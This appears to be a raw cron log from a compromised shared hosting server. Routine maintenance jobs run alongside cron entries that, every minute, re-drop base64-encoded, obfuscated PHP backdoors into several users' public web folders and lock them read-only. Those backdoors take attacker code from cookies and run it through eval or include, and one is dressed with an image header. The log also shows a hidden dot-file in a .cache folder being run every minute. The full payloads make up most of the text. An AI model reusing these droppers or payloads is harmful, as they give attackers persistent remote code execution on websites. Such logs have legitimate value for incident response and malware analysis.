Mar  1 17:00:02 medusa CROND[11380]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:00:02 medusa CROND[11366]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:00:02 medusa CROND[11365]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:00:02 medusa CROND[11370]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 17:01:01 medusa CROND[30855]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 17:01:02 medusa run-parts(/etc/cron.hourly)[30855]: starting 0anacron
Mar  1 17:01:02 medusa run-parts(/etc/cron.hourly)[30928]: finished 0anacron
Mar  1 17:01:02 medusa CROND[30958]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:01:02 medusa CROND[30960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:01:02 medusa CROND[30961]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:01:02 medusa CROND[30964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:01:02 medusa CROND[30977]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:01:02 medusa CROND[30978]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:01:02 medusa CROND[30981]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:01:02 medusa CROND[30983]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:01:02 medusa CROND[30982]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:01:02 medusa CROND[30976]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:01:02 medusa CROND[30984]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:01:02 medusa CROND[30975]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:01:02 medusa CROND[30988]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:02:01 medusa CROND[18670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:02:01 medusa CROND[18768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:02:01 medusa CROND[18804]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:02:01 medusa CROND[18807]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:02:01 medusa CROND[18808]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:02:01 medusa CROND[18809]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:02:01 medusa CROND[18811]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:02:01 medusa CROND[18812]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:02:01 medusa CROND[18813]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:02:01 medusa CROND[18818]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:02:01 medusa CROND[18822]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:02:01 medusa CROND[18823]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:02:01 medusa CROND[18824]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:03:01 medusa CROND[6591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:03:01 medusa CROND[6592]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:03:01 medusa CROND[6594]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:03:01 medusa CROND[6597]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
